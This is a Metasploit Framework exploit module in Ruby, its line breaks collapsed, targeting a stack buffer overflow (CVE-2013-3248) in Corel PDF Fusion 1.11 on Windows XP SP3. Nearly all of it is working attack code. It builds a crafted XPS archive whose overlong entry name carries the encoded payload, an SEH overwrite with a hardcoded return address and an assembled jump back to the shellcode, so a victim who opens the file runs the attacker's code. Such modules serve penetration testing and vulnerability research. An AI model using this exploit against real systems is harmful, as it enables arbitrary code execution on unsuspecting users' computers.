## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Corel PDF Fusion Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in version 1.11 of Corel PDF Fusion. The vulnerability exists while handling a XPS file with long entry names. In order for the payload to be executed, an attacker must convince the target user to open a specially crafted XPS file with Corel PDF Fusion. By doing so, the attacker can execute arbitrary code as the target user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Kaveh Ghaemmaghami', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-3248' ], [ 'OSVDB', '94933' ], [ 'BID', '61010' ], [ 'URL', 'http://secunia.com/advisories/52707/' ] ], 'Platform' => [ 'win' ], 'Payload' => { 'DisableNops' => true, 'Space' => 4000 }, 'Targets' => [ # Corel PDF Fusion 1.11 (build 2012/04/25:21:00:00) # CorelFusion.exe 2.6.2.0 # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates [ 'Corel PDF Fusion 1.11 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 4640 } ] ], 'DisclosureDate' => 'Jul 08 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.xps']) ], self.class) end def exploit template = [ "[Content_Types].xml", "_rels/.rels", "docProps/thumbnail.jpeg", "docProps/core.xml", "FixedDocSeq.fdseq", "Documents/1/Pages/_rels/1.fpage.rels", "Documents/1/_rels/FixedDoc.fdoc.rels", "Documents/1/FixedDoc.fdoc", "Documents/1/Structure/Fragments/1.frag", "Documents/1/Structure/DocStructure.struct", "Documents/1/Pages/1.fpage", ] xps = Rex::Zip::Archive.new template.each do |k| xps.add_file(k, rand_text_alpha(10 + rand(20))) end resources_length = "Resources/".length sploit = "Resources/" sploit << payload.encoded sploit << rand_text(target['Offset'] - sploit.length) sploit << generate_seh_record(target.ret) sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset'] + 8 - resources_length}").encode_string # 8 => seh_record length sploit << rand_text(1500) # Trigger exception xps.add_file(sploit, rand_text_alpha(10 + rand(20))) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(xps.pack) end end